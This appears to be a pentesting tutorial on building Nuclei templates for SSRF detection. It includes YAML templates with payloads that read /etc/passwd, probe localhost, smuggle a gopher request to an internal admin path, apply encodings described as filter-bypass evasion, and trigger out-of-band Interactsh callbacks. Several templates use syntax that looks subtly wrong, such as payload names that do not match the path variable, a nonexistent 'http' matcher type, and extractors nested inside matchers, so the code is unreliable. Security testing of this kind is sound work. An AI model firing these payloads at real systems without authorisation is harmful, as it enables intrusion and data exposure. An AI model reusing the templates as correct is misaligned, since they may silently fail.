Automating SSRF Detection: Crafting Custom Nuclei Templates

Automating Server-Side Request Forgery (SSRF) detection demands precise tooling, and custom Nuclei templates are critical for scaling this effort. Manual checks are time-consuming and often miss subtle vulnerabilities across large attack surfaces. Leveraging Nuclei allows us to define specific SSRF test cases, including out-of-band (OOB) interactions, to rapidly identify vulnerable endpoints and parameters.

Nuclei Fundamentals for SSRF

Nuclei templates define HTTP requests and apply a series of matchers to their responses. For SSRF, this often means crafting requests that coerce the server into making an outbound connection to a controlled external resource or fetching internal resources. The core of a Nuclei SSRF template involves defining a vulnerable endpoint, injecting a payload, and then looking for an indicator of compromise (IOC) either in the server's response or through an OOB interaction platform like Interactsh.

Crafting Basic SSRF Payloads

Initial SSRF detection can sometimes be as simple as observing a redirect or a proxy behavior where the server fetches a URL and reflects its content. However, true SSRF often requires payloads designed to hit internal services or specific protocols. Common schemes for SSRF include http://, https://, file://, gopher://, and dict://. Our templates need to accommodate these variations, often using fuzzing techniques.

Here's a basic template structure focused on a URL parameter, attempting to fetch a known external resource (for OOB detection later) and an internal one (localhost for reflection):


id: basic-ssrf-check
info:
  name: Basic SSRF Parameter Check
  author: p3nt3st3r
  severity: high
  description: Checks for potential SSRF vulnerability in a URL parameter.
  tags: ssrf, basic

requests:
  - method: GET
    path: "{{BaseURL}}/api/v1/data?url={{payload}}"
    payloads:
      url:
        - "http://{{interactsh-url}}/test-ssrf"
        - "http://127.0.0.1/"
        - "http://localhost/"
        - "file:///etc/passwd"
    attack: batteringram # Use batteringram to iterate through payloads
    fuzzing:
      - part: query
        parameter: url
    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "root:x:0:0"
        part: body
        condition: and # Match if file:///etc/passwd leads to this
        name: etc-passwd-reflection
      - type: http
        part: interactsh_url # Check for OOB interaction
        condition: and
        name: interactsh-callback

In this example, {{interactsh-url}} is a Nuclei helper variable that automatically resolves to your configured Interactsh server. The payloads section defines the list of values to inject into the url parameter. The attack: batteringram ensures each payload is tested independently. Matchers look for either the content of /etc/passwd (indicating a potential local file read via SSRF) or an OOB interaction recorded by Interactsh.

Integrating Out-of-Band (OOB) Detection with Interactsh

OOB interaction is paramount for reliable SSRF detection, especially blind SSRF. Nuclei natively integrates with ProjectDiscovery's Interactsh, which provides a unique URL for each scan, monitoring for DNS, HTTP, and SMTP interactions. This allows us to detect when an application makes an outbound request triggered by our payload, even if no direct response is returned to the client.

To use Interactsh with Nuclei, simply ensure Interactsh client is running or configure Nuclei to use a public Interactsh server. The {{interactsh-url}} variable within Nuclei templates automatically populates with a unique Interactsh callback URL. The matchers section needs a specific type to check for these interactions.


    matchers:
      - type: http
        part: interactsh_url # This matcher type checks for a successful Interactsh callback
        condition: and
        name: interactsh-callback

When Nuclei runs a template with an interactsh_url payload and an interactsh_url matcher, it automatically initializes an Interactsh client, generates unique URLs, injects them, and then monitors for any incoming interactions related to those URLs. If an interaction occurs, the template matches, and a finding is reported.

Advanced SSRF Template Crafting

Chaining Requests for Complex Scenarios

Some SSRF vulnerabilities require multiple steps or a specific initial request to set up the condition for SSRF. Nuclei's workflow feature allows chaining requests. This is particularly useful for scenarios where a token needs to be fetched first, or a session established, before the SSRF payload can be effective.


id: chained-ssrf-token
info:
  name: Chained SSRF with Token Fetch
  author: p3nt3st3r
  severity: high
  description: Fetches a token then attempts SSRF using the token.
  tags: ssrf, chained, token

variables:
  token: ""

requests:
  - raw:
      - |
        GET /auth/get_token HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0
    matchers:
      - type: regex
        part: body
        regex:
          - '"token": "([a-zA-Z0-9]+)"'
        extractors:
          - type: regex
            regex:
              - '"token": "([a-zA-Z0-9]+)"'
            name: extracted_token
    # Set the 'token' variable from the extracted_token
    extractors:
      - type: dsl
        dsl: |
          extracted_token
        name: token_var

  - raw:
      - |
        GET /api/v2/proxy?target={{interactsh-url}}/{{token_var}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0
        X-Auth-Token: {{token_var}}
    matchers:
      - type: http
        part: interactsh_url
        condition: and
        name: interactsh-callback-with-token

Here, the first request fetches a token, which is then extracted using a regex extractor and stored in the token_var variable. The second request then utilizes this token_var in the target parameter, demonstrating how to use extracted data in subsequent requests for more complex SSRF scenarios. The dsl extractor type is used to assign the extracted token value to the token_var variable which is then used in the second request.

Fuzzing and Encoding for Evasion

SSRF filters often rely on blacklists or simple string matching. Our templates must incorporate encoding techniques and varied payloads to bypass these defenses. Nuclei's payload generators and transformations are crucial here.

Consider the use of URL encoding, double URL encoding, hexadecimal encoding, and different URL schemes within the payloads section. Nuclei's template-request-options can also apply global transformations.


id: ssrf-encoding-bypass
info:
  name: SSRF Encoding Bypass
  author: p3nt3st3r
  severity: high
  description: Tests for SSRF bypass using various encoding techniques.
  tags: ssrf, bypass, encoding

requests:
  - method: GET
    path: "/image?url={{payload}}"
    payloads:
      url:
        - "http://{{interactsh-url}}/test-encoded-ssrf"
        - "http%3A%2F%2F{{interactsh-url}}%2Ftest-double-encoded-ssrf" # Double URL encoded http://
        - "file:///etc/passwd"
        - "file%253A%252F%252F%252Fetc%252Fpasswd" # Double URL encoded file:///
        - "gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0A%0D%0A" # Gopher payload
    attack: batteringram
    fuzzing:
      - part: query
        parameter: url
    matchers-condition: or
    matchers:
      - type: http
        part: interactsh_url
        condition: and
        name: interactsh-callback
      - type: regex
        regex:
          - "root:x:0:0"
        part: body
        condition: and
        name: etc-passwd-reflection

This template directly includes URL-encoded payloads within the payloads list. For more dynamic encoding, you can use Nuclei's DSL functions within the payload generation, though direct inclusion of pre-encoded strings is often simpler for static bypass lists.

Executing and Testing Custom Templates

Running Nuclei with Custom Templates

Once templates are crafted, running them is straightforward. Organize your custom templates in a dedicated directory. For instance, if templates are in ~/nuclei-templates-custom/ssrf/:


nuclei -t ~/nuclei-templates-custom/ssrf/ -target https://example.com -o ssrf_results.txt -stats -interactsh-url https://oast.example.com

Key flags:

  • -t: Specifies the template directory or a specific template file.
  • -target: The target URL to scan. For multiple targets, use -l targets.txt.
  • -o: Output file for results.
  • -stats: Displays scan statistics upon completion.
  • -interactsh-url: (Optional) If you have a private Interactsh server, specify its URL. Otherwise, Nuclei uses a public server or launches a local client if -interactsh-client is used.

For verbose output and debugging templates, add the -debug flag. This shows the actual HTTP requests and responses, aiding in template refinement.

Debugging and Refinement

Template development is an iterative process. If a template isn't firing as expected:

  1. **Check the Nuclei output:** Look for errors during template loading or execution.
  2. **Use -debug:** Examine the raw requests sent and received. Verify payloads are correctly injected and encoding is applied as intended.
  3. **Verify Interactsh logs:** If using OOB, manually check your Interactsh client or server logs to see if any interactions are reaching it, even if Nuclei isn't reporting them. This helps differentiate between a payload not firing and a matcher not catching the interaction.
  4. **Simplify the template:** Temporarily remove complex matchers or payloads to isolate the issue. Start with a simple http matcher for a 200 OK response from your Interactsh URL to ensure basic connectivity.

Consider a scenario where an SSRF payload to file:///etc/passwd isn't yielding results. With -debug, you might find the server is sending a 302 redirect to /error?code=400, indicating the scheme is blocked. Your template could then be updated to include URL encoding or alternative schemes like data:// (if applicable) to bypass this.


# Example of Nuclei debug output snippet for a failing SSRF template
# This would appear on the console with -debug flag

[DBG] [http-file-read-ssrf] Sending HTTP request to: http://target.com/param=file:///etc/passwd
[DBG] [http-file-read-ssrf] Got HTTP response: HTTP/1.1 302 Found
[DBG] [http-file-read-ssrf] Location: /error?code=400

This debug output clearly shows the server handled the request but redirected, indicating a filter. The next step would be to modify the file:///etc/passwd payload with encoding or try other methods to retrieve the file.

By systematically building, testing, and refining custom Nuclei templates, pentesters can significantly enhance their ability to detect SSRF vulnerabilities, moving from ad-hoc manual testing to scalable, automated reconnaissance. The key is a deep understanding of SSRF vectors and meticulous template construction, especially leveraging OOB capabilities.